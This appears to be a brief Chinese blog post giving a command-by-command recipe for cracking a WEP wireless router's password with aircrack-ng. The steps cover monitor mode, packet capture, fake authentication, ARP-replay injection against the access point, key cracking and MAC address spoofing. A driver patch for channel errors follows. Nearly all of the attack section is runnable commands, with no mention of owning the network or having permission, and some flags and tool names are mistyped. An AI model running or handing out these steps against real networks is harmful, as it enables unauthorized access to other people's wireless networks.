interfaceX is on channel Y, but the AP uses channel Z

aircrack-ng 破解wep无线路由器密码。

Sudo airmon-ng start wlan0

Sudo airodump-ng mon0

另一个终端

Sudo airodump-ng –c 6 –bssid AP’s mac –w wep mon0

另一个终端

Sudo aireplay-ng -1 0 –e ESSID –a AP’s mac –h My Mac mon0

Sudo aireplay-ng -2 –F –p 0841 –c ff:ff:ff:ff:ff:ff –b – AP’s mac –h My Mac mon0

另一个终端

Sudo aircrak-ng wep*.cap

Sudo airmon-ng stop mon0

修改MAC地址:

Sudo ifconfig wlan0 down

Sudo ifconfig wlan0 hw ether 00:11:22:33:44:55

Sudo ifconfig wlan0 up

 

碰到channel不正确,实在不行就试一下以下方法吧,终端依次执行:


sudo apt-get install linux-headers-$(uname -r)
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
sudo apt-get install patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
make
sudo make install
sudo make unload
sudo reboot


你可能感兴趣的:(c,UP,破解,终端,路由器)